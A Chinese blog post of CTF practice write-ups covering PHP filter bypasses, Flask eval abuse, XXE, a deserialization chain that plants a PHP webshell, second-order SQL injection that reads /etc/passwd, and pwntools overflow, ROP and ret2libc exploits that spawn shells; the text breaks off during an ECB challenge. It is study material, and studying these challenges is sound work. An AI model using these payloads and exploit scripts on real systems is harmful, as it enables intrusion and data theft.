Buu刷题暂时告一段落
[ISITDTU 2019]EasyPHP 先看源码
index.php <?php highlight_file(__FILE__ ); $_ = @$_GET['_' ]; if ( preg_match('/[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+/i' , $_) ) die ('rosé will not do it' ); if ( strlen(count_chars(strtolower($_), 0x3 )) > 0xd ) die ('you are so close, omg' ); eval ($_);?>
题目类似于[SUCTF 2019] EasyWeb
但是过滤了${
, 原来的 payload 不能用了, 老实讲我觉得这道题是道算法题
可以看到最大的字符数为13
, 而除去必须的()^;
, 只有 9 个空间, 也就是通过 9 个数来表示[a-z_]
有一说一, 如果能通过算法解出来最小值, 这个就可以出新题了 hhhh 而且是骂人的那种
首先执行phpinfo()
, 这个很简单, 只需要异或一下就可以了
(~%8F%97%8F%96%91%99%90)();
然后会看到disable_function
有很多, 盲猜是列全了, 那么就是像[Bytectf 2019] boring code
那样执行函数了, 首先尝试执行下面的 payload
下面的方法大体来自 https://blog.zeddyu.info/2019/07/20/isitdtu-2019/#Another-Way-Step-3 , 只是暴力很多提出需要用的字符
然后测试一下他们之间有怎么的异或关系, 注意只要找奇数次异或的结果
find_word = "acdinpsrt._" word = "acdinpsrt._" out_set = set() def not_eq (i, j, k) : if i != j and i != k and j !=k: return True return False def word_sum (i, j, k) : num = ord(i) * ord(j) * ord(k) if num not in out_set: out_set.add(num) return True return False f = open("out" , "w" ) for a in find_word: for i in word: for j in word: for k in word: if (ord(a) == ord(i)^ord(j)^ord(k)) and not_eq(i, j, k) and word_sum(i, j, k): res = (f"{a} = {i} ^{j} ^{k} " ) f.write(res + "\n" ) print(res)
输出如下
a = c^p^r c = a^p^r c = d^i^n c = d^s^t d = c^i^n d = c^s^t i = c^d^n i = n^s^t n = c^d^i n = i^s^t p = a^c^r s = c^d^t s = i^n^t r = a^c^p t = c^d^s t = i^n^s
这里需要灵性选择一部分来用, 我选择将出现一次的尽量使用出现多次的代替
这里出现比较多的有
可以得到如下关系
s = i^n^t d = c^i^n a = c^p^r
然后我们就可以开始构造了
print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d scandir = iccncir^ncpniir^tcrnnir = %ff%ff%ff%ff%ff%ff%ff^^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d . = %ff^%d1
拼起来
_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%ff^%d1)));
天可怜见, 终于看到文件了
print_r(file(end(scandir("."))));
然后继续构造, 提取字符
先根据上面提出的替换
s = i^n^t d = c^i^n a = c^p^r
再从输出提取下面的替换, 这里还是需要灵性
e = c^r^t l = n^p^r . = c^t^f^_
然后写出 payload
print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d file = fibc^fipr^firt = %ff%ff%ff%ff^%99%96%9d%9c^%99%96%8f%8d^%99%96%8d%8b scandir = %ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d end = cnc^rni^tnn = %ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91 . = %ff^%9c^%8b^%99^%a0
写了个生成某个串的脚本
import redef xor (start, payload) : pattern = re.compile('[\x00- 0-9\'"`$&.,|[{_defgops\x7F]+' , re.I) for i in range(start, start + 1 ): if pattern.match(chr(i)): continue res = f"%{i:02 x} " * len(payload) res += "^" f = False for j in payload: new = ord(j)^i if pattern.match(chr(new)): f = True break res += f"%{ord(j)^i:02 x} " if f: continue return res def xor_plus (payload) : res = "" lens = 0 for i in payload.split("^" ): lens = len(i) res += "^" res += xor(0xff , i).split("^" )[1 ] res = "%ff" * lens + res print(res) if __name__ == "__main__" : xor_plus("i^n^p^t^_^r" )
拼起来
(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff^%99%96%9d%9c^%99%96%8f%8d^%99%96%8d%8b)((%ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%ff^%9c^%8b^%99^%a0)))));
本地测试发现 14…., 继续构造, 改进前面的脚本, 增加多几次异或
find_word = "cfinprt._" word = "cfinprt_" out_set = set() def not_eq (*arg) : if len(arg) != len(set(arg)): return False return True def word_sum (i, j, k, l, m) : num = ord(i) * ord(j) * ord(k) * ord(l) * ord(m) if num not in out_set: out_set.add(num) return True return False f = open("out" , "w" ) for a in find_word: for i in word: for j in word: for k in word: for l in word: for m in word: if (ord(a) == ord(i)^ord(j)^ord(k)^ord(l)^ord(m)) and not_eq(i, j, k, l, m) and word_sum(i, j, k,l, m): res = (f"{a} = {i} ^{j} ^{k} ^{l} ^{m} " ) f.write(res + "\n" ) print(res)
终于找到了多的替换
c = f^i^n^p^r f = c^i^n^p^r i = c^f^n^p^r n = c^f^i^p^r p = c^f^i^n^r r = c^f^i^n^p
这里选择 f, 出现次数最少, 需要改的地方比较少, 修改后的替换表如下
s = i^n^t d = c^i^n a = c^p^r e = c^r^t l = n^p^r . = i^n^p^r^t^_ f = c^i^n^p^r
payload
print_r = %ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d file = cinc^iipr^nirt^pirt^rirt = %ff%ff%ff%ff^%9c%96%91%9c^%96%96%8f%8d^%91%96%8d%8b^%8f%96%8d%8b^%8d%96%8d%8b scandir = %ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d end = cnc^rni^tnn = %ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91 . = %8b^%a0^%96^%91^%8f^%8d
最后 payload
_=(%ff%ff%ff%ff%ff%ff%ff^%8f%8d%96%91%8b%a0%8d)((%ff%ff%ff%ff^%9c%96%91%9c^%96%96%8f%8d^%91%96%8d%8b^%8f%96%8d%8b^%8d%96%8d%8b)((%ff%ff%ff^%9c%91%9c^%8d%91%96^%8b%91%91)((%ff%ff%ff%ff%ff%ff%ff^%96%9c%9c%91%9c%96%8d^%91%9c%8f%91%96%96%8d^%8b%9c%8d%91%91%96%8d)((%8b^%a0^%96^%91^%8f^%8d)))));
很有趣的题目, 就是调的比较累 2333
[FBCTF2019]RCEService 原来这题是给源码的, 我说怎么日不动….
<?php putenv('PATH=/home/rceservice/jail' ); if (isset ($_REQUEST['cmd' ])) { $json = $_REQUEST['cmd' ]; if (!is_string($json)) { echo 'Hacking attempt detected<br/><br/>' ; } elseif (preg_match('/^.*(alias|bg|bind|break|builtin|case|cd|command|compgen|complete|continue|declare|dirs|disown|echo|enable|eval|exec|exit|export|fc|fg|getopts|hash|help|history|if|jobs|kill|let|local|logout|popd|printf|pushd|pwd|read|readonly|return|set|shift|shopt|source|suspend|test|times|trap|type|typeset|ulimit|umask|unalias|unset|until|wait|while|[\x00-\x1FA-Z0-9!#-\/;-@\[-`|~\x7F]+).*$/' , $json)) { echo 'Hacking attempt detected<br/><br/>' ; } else { echo 'Attempting to run command:<br/>' ; $cmd = json_decode($json, true )['cmd' ]; if ($cmd !== NULL ) { system($cmd); } else { echo 'Invalid input' ; } echo '<br/><br/>' ; } } ?>
这题的预期解虽然是PCRE
, 但是感觉很强行, %0a
换行更好
cmd={%0a"cmd":"/bin/cat%20/home/rceservice/flag"%0a}
另外的解看 p 神的博客
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
就可以明白了, 不过需要注意的是数据量比较大, 需要用 POST 传, 这也是题目用$_REQUEST
的原因
[DDCTF 2019]homebrew event loop 挺有意思的题目, 是个 flask 的审计
首先看源码
from flask import Flask, session, request, Responseimport urllibapp = Flask(__name__) app.secret_key = '*********************' url_prefix = '/d5afe1f66147e857' def FLAG () : return '*********************' def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event) def get_mid_str (haystack, prefix, postfix=None) : haystack = haystack[haystack.find(prefix)+len(prefix):] if postfix is not None : haystack = haystack[:haystack.find(postfix)] return haystack class RollBackException : pass def execute_event_loop () : valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len(request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp @app.route(url_prefix+'/') def entry_point () : querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len(querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop() def view_handler (args) : page = args[0 ] html = '' html += '[INFO] you have {} diamonds, {} points now.<br />' .format( session['num_items' ], session['points' ]) if page == 'index' : html += '<a href="./?action:index;True%23False">View source code</a><br />' html += '<a href="./?action:view;shop">Go to e-shop</a><br />' html += '<a href="./?action:view;reset">Reset</a><br />' elif page == 'shop' : html += '<a href="./?action:buy;1">Buy a diamond (1 point)</a><br />' elif page == 'reset' : del session['num_items' ] html += 'Session reset.<br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' return html def index_handler (args) : bool_show_source = str(args[0 ]) bool_download_source = str(args[1 ]) if bool_show_source == 'True' : source = open('eventLoop.py' , 'r' ) html = '' if bool_download_source != 'True' : html += '<a href="./?action:index;True%23True">Download this .py file</a><br />' html += '<a href="./?action:view;index">Go back to index.html</a><br />' for line in source: if bool_download_source != 'True' : html += line.replace('&' , '&' ).replace('\t' , ' ' *4 ).replace( ' ' , ' ' ).replace('<' , '<' ).replace('>' , '>' ).replace('\n' , '<br />' ) else : html += line source.close() if bool_download_source == 'True' : headers = {} headers['Content-Type' ] = 'text/plain' headers['Content-Disposition' ] = 'attachment; filename=serve.py' return Response(html, headers=headers) else : return html else : trigger_event('action:view;index' ) def buy_handler (args) : num_items = int(args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format(args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format( num_items), 'action:view;index' ]) def consume_point_function (args) : point_to_consume = int(args[0 ]) if session['points' ] < point_to_consume: raise RollBackException() session['points' ] -= point_to_consume def show_flag_function (args) : flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args) : if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' ) if __name__ == '__main__' : app.run(debug=False , host='0.0.0.0' )
首先看路由
@app.route(url_prefix+'/') def entry_point () : querystring = urllib.unquote(request.query_string) request.event_queue = [] if querystring == '' or (not querystring.startswith('action:' )) or len(querystring) > 100 : querystring = 'action:index;False#False' if 'num_items' not in session: session['num_items' ] = 0 session['points' ] = 3 session['log' ] = [] request.prev_session = dict(session) trigger_event(querystring) return execute_event_loop()
可以看到这里是利用了request.query_string
获取我们的输入, 并执行相应的调用, 第一步是经过trigger_event
def trigger_event (event) : session['log' ].append(event) if len(session['log' ]) > 5 : session['log' ] = session['log' ][-5 :] if type(event) == type([]): request.event_queue += event else : request.event_queue.append(event)
这个函数首先将调用放入session
, 然后再添加到执行列表request.event_queue
, 而不是立刻执行
第二步调用execute_event_loop
开始执行
def execute_event_loop () : valid_event_chars = set( 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_0123456789:;#' ) resp = None while len(request.event_queue) > 0 : event = request.event_queue[0 ] request.event_queue = request.event_queue[1 :] if not event.startswith(('action:' , 'func:' )): continue for c in event: if c not in valid_event_chars: break else : is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args) except RollBackException: if resp is None : resp = '' resp += 'ERROR! All transactions have been cancelled. <br />' resp += '<a href="./?action:view;index">Go back to index.html</a><br />' session['num_items' ] = request.prev_session['num_items' ] session['points' ] = request.prev_session['points' ] break except Exception, e: if resp is None : resp = '' continue if ret_val is not None : if resp is None : resp = ret_val else : resp += ret_val if resp is None or resp == '' : resp = ('404 NOT FOUND' , 404 ) session.modified = True return resp
关键在这一段
is_action = event[0 ] == 'a' action = get_mid_str(event, ':' , ';' ) args = get_mid_str(event, action+';' ).split('#' ) try : event_handler = eval( action + ('_handler' if is_action else '_function' )) ret_val = event_handler(args)
中间的get_mid_str
也很好理解, 就是获取两个参数中间的一段, 后面我们可以看到有个 eval 解析字符串, 但是会加上_handler
或者_function
来防止任意命令执行, 但是如果我们的输入中有#
, 在 eval 执行时就会将后面的内容注释, 也就是
action = "FLAG#" eval("FLAG#_handler") = eval("FLAG")
从而可以命令执行, 但是我们看一下获取 flag 的地方
def FLAG () : return '*********************' def show_flag_function (args) : flag = args[0 ] return 'You naughty boy! ;) <br />' def get_flag_handler (args) : if session['num_items' ] >= 5 : trigger_event('func:show_flag;' + FLAG()) trigger_event('action:view;index' )
直接调用FLAG()
的话, 由于传入的参数是list
args = get_mid_str(event, action+';').split('#')
会导致报错, 所以我们需要找到可以传入list
的函数, 如果直接调用get_flag_handler
的话需要使得
session['num_items'] >= 5
但是这里没有条件竞争, 直接调用不行, 我们看一下买的地方
def buy_handler (args) : num_items = int(args[0 ]) if num_items <= 0 : return 'invalid number({}) of diamonds to buy<br />' .format(args[0 ]) session['num_items' ] += num_items trigger_event(['func:consume_point;{}' .format( num_items), 'action:view;index' ])
可以看到这里不判断有没有足够的点数就直接添加了, 所以我们可以通过下面的调用来获取 flag
trigger_event(["action:buy_handler;7","action:get_flag_handler"])
这样的执行顺序为
添加action:buy_handler;7
到 queue
添加action:get_flag_handler
到 queue
执行``action:buy_handler;7, 添加
func:consume_point;{}`到 queue
执行action:get_flag_handler
, 添加'func:show_flag;' + FLAG()
到 queue
依次执行剩下的元素
可以看到, FLAG()
会被顺利的执行, 然后我们只需要解密session
就能看到执行的 log, 从而获取 flag 了
payload 如下
/?action:trigger_event%23;action:buy;7%23action:get_flag;
然后获取 cookie
.eJyNjl9rgzAAxL_KyHMfNKkTBV_GplBmpEWaP2MMY7pqNKmgdjXF7z4ZbDC6h70d3N3v7gra0xGEL1dwJ0AIGMFOQYIxM7upINJwunnnlLfCbFUGYyWT9ixUV0va-HjCFUO7TsD1PYd7h0LeM1L6YF7d4PTGPeQ9WqwbR7YyDrRIYpN9RBGYX3_a3OxHZjsloGclcVuKHs4F8ZzMltEfJMM7Tkt_STScHr9Iv0G2SAL0_ZLrS8XRoPBj6WH1dEknB2LN7HO-XTOVDkzjBtduw3PcpAnzUlXp1MbB_4aBGfVbPRx0D0JnBbpTbYZFovkTybx2QQ.Xkzsbg.SkZ-vfJDGGh0vxZvYMbSXmEEaPM
利用 https://www.leavesongs.com/PENETRATION/client-session-security.html 的脚本
import sysimport zlibfrom base64 import b64decodefrom flask.sessions import session_json_serializerfrom itsdangerous import base64_decodedef decryption (payload) : payload, sig = payload.rsplit(b'.' , 1 ) payload, timestamp = payload.rsplit(b'.' , 1 ) decompress = False if payload.startswith(b'.' ): payload = payload[1 :] decompress = True try : payload = base64_decode(payload) except Exception as e: raise Exception('Could not base64 decode the payload because of ' 'an exception' ) if decompress: try : payload = zlib.decompress(payload) except Exception as e: raise Exception('Could not zlib decompress the payload before ' 'decoding the payload' ) return session_json_serializer.loads(payload) if __name__ == '__main__' : print(decryption(sys.argv[1 ].encode()))
解密如下
{'log': [b'action:trigger_event#;action:buy;7#action:get_flag;', [b'action:buy;7', b'action:get_flag;'], [b'func:consume_point;7', b'action:view;index'], b'func:show_flag;flag{c4796113-66f3-48b3-bcd6-de3d0f928f31}', b'action:view;index'], 'num_items': 0, 'points': 3}
回去看了 p 神的文章, flask 的 session 处理步骤如下
json.dumps 将对象转换成 json 字符串,作为数据
如果数据压缩后长度更短,则用 zlib 库进行压缩
将数据用 base64 编码
通过 hmac 算法计算数据的签名,将签名附在数据后,用“.”分割
所以这里虽然不知道secret_key
, 但是依然可以正常解密, 只是无法伪造(因为有签名)
[NCTF2019]Fake XML cookbook xml 的题基本都是 xxe, 那么这里用 payload
<?xml version="1.0" encoding="utf-8"?> <!DOCTYPE creds [ <!ENTITY goodies SYSTEM "file:///flag"> ]> <user> <username>&goodies;</username> <password>mypass</password> </user>
即可读取
[强网杯 2019]Upload 当时做的时候记得有源码的, 这里下不来, 上网找一个就可以了
https://github.com/glzjin/qwb_2019_upload
然后审计一下, 主要的代码在这个位置
首先关注一下反序列化的点, index.php 里面
public function login_check () { $profile=cookie('user' ); if (!empty ($profile)){ $this ->profile=unserialize(base64_decode($profile)); $this ->profile_db=db('user' )->where("ID" ,intval($this ->profile['ID' ]))->find(); if (array_diff($this ->profile_db,$this ->profile)==null ){ return 1 ; }else { return 0 ; } } }
可以看到会将 cookie 进行反序列化
然后读一下代码, 没有什么可以直接执行的函数, 就只能通过文件上传 getshell 了, 看一下上传的部分
public function upload_img () { if ($this ->checker){ if (!$this ->checker->login_check()){ $curr_url="http://" .$_SERVER['HTTP_HOST' ].$_SERVER['SCRIPT_NAME' ]."/index" ; $this ->redirect($curr_url,302 ); exit (); } } if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); } if ($this ->ext) { if (getimagesize($this ->filename_tmp)) { @copy($this ->filename_tmp, $this ->filename); @unlink($this ->filename_tmp); $this ->img="../upload/$this->upload_menu/$this->filename" ; $this ->update_img(); }else { $this ->error('Forbidden type!' , url('../index' )); } }else { $this ->error('Unknow file type!' , url('../index' )); } }
这里有个拼接后缀名
if (!empty ($_FILES)){ $this ->filename_tmp=$_FILES['upload_file' ]['tmp_name' ]; $this ->filename=md5($_FILES['upload_file' ]['name' ]).".png" ; $this ->ext_check(); }
只要不传文件就可以了, 所以我们需要设置的值为
class Profile extends Controller { public $checker = 0 ; public $filename_tmp = "shell_pwd" ; public $filename = "cjm00n.php" ; public $upload_menu; public $ext = 1 ; public $img; public $except;
那么反序列化的入口就是前面的__destruct
public function __destruct () { if (!$this ->registed){ $this ->checker->index(); } }
如果我们让check
为Profile
, 那么对其调用index
, 会触发__call
public function __call ($name, $arguments) { if ($this ->{$name}){ $this ->{$this ->{$name}}($arguments); } }
__call
会去找index
对象, 从而触发__get
方法, 返回except['index']
public function __get ($name) { return $this ->except[$name]; }
那么我们可以赋值如下
class Profile extends Controller { public $checker = 0 ; public $filename_tmp = "shell_pwd" ; public $filename = "cjm00n.php" ; public $upload_menu; public $ext = 1 ; public $img; public $except = array ("index" => "upload_img" ); } class Register extends Controller { public $checker; public $registed; public function __construct () { $this ->checker=new Profile(); } }
调用链如下
new Register() => __destruct() => profile->index => __call => __get => __call => upload_img
先上传文件, 生成一个图片格式的 shell
SIZE_HEADER = b"#define width 1\n#define height 1\n\n" SIZE_HEADER = b"\x00\x00\x8a\x39\x8a\x39" SHELL = b"<?php eval($_REQUEST['c']);?>" f = open("cjm00n.png" , "wb" ) f.write(SIZE_HEADER+SHELL) f.close()
得到路径
/public/upload/2c67ca1eaeadbdc1868d67003072b481/be111107dc8d38cd69e24a8af989bee8.png
然后构造 exp
<?php namespace app \web \controller ;class Profile { public $checker = 0 ; public $filename_tmp = "../public/upload/2c67ca1eaeadbdc1868d67003072b481/be111107dc8d38cd69e24a8af989bee8.png" ; public $filename = "cjm00n.php" ; public $upload_menu; public $ext = 1 ; public $img; public $except = array ("index" => "upload_img" ); } class Register { public $checker; public $registed = 0 ; public function __construct () { $this ->checker=new Profile(); } } $o = new Register(); echo base64_encode(serialize($o));echo "\n" ;
发过去, 就可以在网站根目录看到 shell 了
[HarekazeCTF2019]encode_and_encode
<?php error_reporting(0 ); if (isset ($_GET['source' ])) { show_source(__FILE__ ); exit (); } function is_valid ($str) { $banword = [ '\.\.' , '(php|file|glob|data|tp|zip|zlib|phar):' , 'flag' ]; $regexp = '/' . implode('|' , $banword) . '/i' ; if (preg_match($regexp, $str)) { return false ; } return true ; } $body = file_get_contents('php://input' ); $json = json_decode($body, true ); if (is_valid($body) && isset ($json) && isset ($json['page' ])) { $page = $json['page' ]; $content = file_get_contents($page); if (!$content || !is_valid($content)) { $content = "<p>not found</p>\n" ; } } else { $content = '<p>invalid request</p>' ; } $content = preg_replace('/HarekazeCTF\{.+\}/i' , 'HarekazeCTF{<censored>}' , $content); echo json_encode(['content' => $content]);
根据手册, 只要编码成 utf-8 就可以绕过第一步, 第二步使用伪协议编码即可
在网上一直没找到英文字母转 unicode 的方法, 就自己写了个脚本
import jsonimport requestsfrom time import sleepdef s2u (payload) : res = "" for i in payload: res += f"\\u00{hex(ord(i)).lstrip('0x' )} " return res f = open("out" , "wb" ) data = {} payload = s2u("php://filter/read=convert.base64-encode/resource=/flag" ) data['page' ] = payload res = (json.dumps(data)).replace("\\\\" , "\\" ) print(res)
这里需要爆破三位密码, 不想爆 buu 就直接上网查一下知道是 666, 登录后可以发帖
这里长得就特别像一个二次注入, 总觉得和哪道题很像, 然后就日半天没反应了
发现有个.git
泄露, 但是这里下载的不全, 我用的是 vscode 的gitlens
, 补全了一下
<?php include "mysql.php" ;session_start(); if ($_SESSION['login' ] != 'yes' ){ header("Location: ./login.php" ); die (); } if (isset ($_GET['do' ])){switch ($_GET['do' ]){ case 'write' : $category = addslashes($_POST['category' ]); $title = addslashes($_POST['title' ]); $content = addslashes($_POST['content' ]); $sql = "insert into board set category = '$category', title = '$title', content = '$content'" ; $result = mysql_query($sql); header("Location: ./index.php" ); break ; case 'comment' : $bo_id = addslashes($_POST['bo_id' ]); $sql = "select category from board where id='$bo_id'" ; $result = mysql_query($sql); $num = mysql_num_rows($result); if ($num>0 ){ $category = mysql_fetch_array($result)['category' ]; $content = addslashes($_POST['content' ]); $sql = "insert into comment set category = '$category', content = '$content', bo_id = '$bo_id'" ; $result = mysql_query($sql); } header("Location: ./comment.php?id=$bo_id" ); break ; default : header("Location: ./index.php" ); } } else { header("Location: ./index.php" ); } ?>
确实是二次注入, 虽然这里有个addslashes
函数, 但是我们测试一下就可以知道, 这个函数只会在 mysql 语句执行的时候转义, 从数据库中提取的内容还是原来的输入
假设我们输入
经过转义后为
输入到数据后转义消失
那么我们就可以构造如下 payload, 在第一个category
设置
然后留言为
拼接起来就是
',content=user(),/*....*/#
成功注入
这里主要参考 2018 网鼎杯第四场
看到是 root 用户,一般 flag 就不会在数据库里面(因为如果在数据库中,不需要这么高的权限,实际也确实没有),应该是要用 SQL 语句 读取 flag 文件了。
读文件如下
',content=(select load_file("/etc/passwd"),/*
看到有www
用户, 读取他的操作历史
',content=(select load_file("/home/www/.bash_history"),/*
看到有个.DS_Store
, 做过源码泄露的应该都知道这个文件会有一些文件夹的信息, 但是这里执行了rm -f
仔细看命令会发现, 这里是删除了/var/www/html/
下的, 而原来解压的/tmp/html
目录下还存在, 那么就可以读出来
',content=(select hex(load_file("/tmp/html/.DS_Store"))),/*
这里需要用 hex 编码, 因为里面有很多不可见字符, 然后可以看到有个 php
读取即可
',content=(select hex(load_file("/var/www/html/flag_8946e1ff1ee3e40f.php"))),/*
[BSidesCF 2019] Koocie 我也不太理解, 设了个 cookie 莫名其妙就给我 flag 了, 可能题目就是这意思吧
[BSidesCF 2019]Pick Tac Toe 这是一题井字棋, 众所周知, 高手对决总是不分胜负的, 所以靠实力下赢电脑是不可能的
但是由于他是通过 ajax 异步传输的, 每次传输后刷新页面, 如果我们自己发包, 连走三棋, 再刷新页面, 就可以让电脑认输(误
打开控制台
$.post("/move","move=b"); $.post("/move","move=br"); $.post("/move","move=bl"); location.reload();
然后收获 flag
jarvisoj_level0 无聊做道入门的 pwn, 先看一下文件和保护
拉到 ida 看一下
跟进vulenrable_function
有读的操作, 将0x200
的数据读入0x80h
的 buf, 存在溢出, 并且有个后门函数在0x400596
那么我们只需要将程序流覆盖到这个后门函数即可, 需要覆盖的范围应该是
也就是-0x80-0x8
, payload 如下
from pwn import *io = remote("node3.buuoj.cn" ,26279 ) io.recvline() payload = b"a" * 0x88 payload += p64(0x400596 ) io.send(payload) io.interactive()
jarvisoj_level1
可以看到没有开NX
堆栈保护, main 函数如下
跟进vulenrable_function
这次没有了后门函数, 但是 NX 保护没开, 就可以将 shellcode 写入堆栈, 再将地址指向堆栈上 shellcode 的地址, 就可以执行了, buf 的大小为0x8c
想法是很美好的, buuoj 上面却一直打不通, 感觉上面的文件和给的附件不一样, 打了一下 jarvisoj 的可以通
from pwn import *io = remote("node3.buuoj.cn" ,27940 ) context.log_level = 'debug' addr = int(io.recvline()[len("What's this:" ):-2 ],16 ) print(addr) shellcode = asm(shellcraft.sh()) payload = shellcode payload += "a" * (0x8c - len(shellcode)) payload += p64(addr) io.send(payload) io.interactive()
看了下南梦师傅的 exp, 不是很懂, 后面再研究看看, 菜鸡 pwn 手的心理受到了巨大的创伤
jarvisoj_level2 学习了一下南梦师傅的 exp 写法, 这题其实就是找system
然后执行就可以了
或者这里
exp 如下
from pwn import *context.log_level = 'debug' context.arch = 'i386' elf = ELF("./level2" ) sh = 0 lib = 0 def exp (ip, port, debug=0 ) : global sh if debug: sh = process("./level2" ) else : sh = remote(ip, port) bin_sh_addr = elf.search("/bin/sh" ).next() system_addr = 0x804849E print(system_addr) payload = "a" * (0x88 + 0x4 ) payload += p32(system_addr) payload += p32(bin_sh_addr) sh.send(payload) sh.interactive() if __name__ == '__main__' : exp("node3.buuoj.cn" , 26653 , 0 )
jarvisoj_level2_x64 32 位和 64 位在函数传参的地方有所不同, 64 位前 6 个参数是放在寄存器上, 第一个是rdi
, 所以我们要想办法把/bin/sh
传入 rdi, 这里需要用到ROPgadget
可以看到程序找到了一些可用的汇编语句, 我们先来看一下红框中的语句
pop rdi
: 将栈顶的数据弹出, 传给 rdi
ret
: 将栈顶的数据弹出, 跳转到该地址
我们依次传入/bin/sh
和system
的地址, 栈上的状态如下
那么我们就可以顺利的将 rdi 加载为/bin/sh
构造 exp 如下
from pwn import *context.log_level = 'debug' context.arch = 'amd64' elf = ELF("./level2_x64" ) sh = 0 lib = 0 def exp (ip, port, debug=0 ) : global sh if debug: sh = process("./level2_x64" ) else : sh = remote(ip, port) pop_rdi_ret_addr = 0x4006b3 bin_sh_addr = elf.search("/bin/sh" ).next() system_addr = 0x400603 payload = "a" * (0x88 ) payload += p64(pop_rdi_ret_addr) payload += p64(bin_sh_addr) payload += p64(system_addr) sh.send(payload) sh.interactive() if __name__ == '__main__' : exp("node3.buuoj.cn" , 25012 , 0 )
jarvisoj_level3
看一下vuln
函数
这次开启了 NX 保护, 也没有后门函数, 就只能去 libc 里面找了
但是这里坑的地方就是, 我去翻了题目 github 地址的 libc 是2.19
, 实际上并不是, 然后就一直time_out
…
我们想要利用 libc 中自带的函数, 需要先找到基址, 而write
函数就可以用来泄露地址, 然后与我们本地的相减就能求出基址, 就可以实现任意调用了
libc 的部分参考网上的 wp 使用了LibcSearcher
来找, 就很顺利了 hhh
exp 如下
from pwn import *from LibcSearcher import *context.log_level = 'debug' context.arch = 'i386' elf = ELF("./level3" ) sh = 0 def exp (ip, port, debug=0 ) : global sh if debug: sh = process("./level3" ) else : sh = remote(ip, port) payload = "a" * (0x88 + 0x4 ) payload += p32(elf.plt['write' ]) payload += p32(0x8048495 ) payload += p32(0x1 ) payload += p32(elf.got['write' ]) payload += p32(0x4 ) sh.recvuntil("Input:\n" ) sh.send(payload) write_addr = u32(sh.recv(4 )) lib = LibcSearcher("write" , write_addr) image_base = write_addr - lib.dump("write" ) system_addr = image_base + lib.dump("system" ) bin_sh_addr = image_base + lib.dump("str_bin_sh" ) payload = "a" * (0x88 + 0x4 ) payload += p32(system_addr) payload += p32(0xdeadbeef ) payload += p32(bin_sh_addr) sh.recvuntil("Input:\n" ) sh.sendline(payload) sh.interactive() if __name__ == '__main__' : exp("node3.buuoj.cn" , 25297 , 0 )
pwn 的快乐暂时到这里了, 后面有空再玩一下
[BSidesCF 2019]Mixer 这道题挺巧妙的, 如果看过 WP 的话可以知道这是 AES 的 ECB 翻转攻击
首先要打开 burp 的这个设置
这样方便我们跟随跳转而不用手动设置 cookie
登录后可以看到多了一个 user 的 cookie, 并且提示说
And you can safely ignore the rack.session cookie. Like actually. But that other cookie, however....
(中间省略一堆日 cookie 的时间)
我们先随便改一位试试
发现报错, 是一个 json 的解密, 乱码的只有我们修改的那个块, 可以推测是 ECB 加密, 如果是 CBC 的话, 前面也会变成乱码
我们知道 ECB 加密是 16 位一组, 并且每组互相独立, 加密后为 32 位, 而这里的目标是让is_admin
变成 1, 单纯的翻转的话不太好操作, 毕竟我们不知道 IV, 但是在 json 中
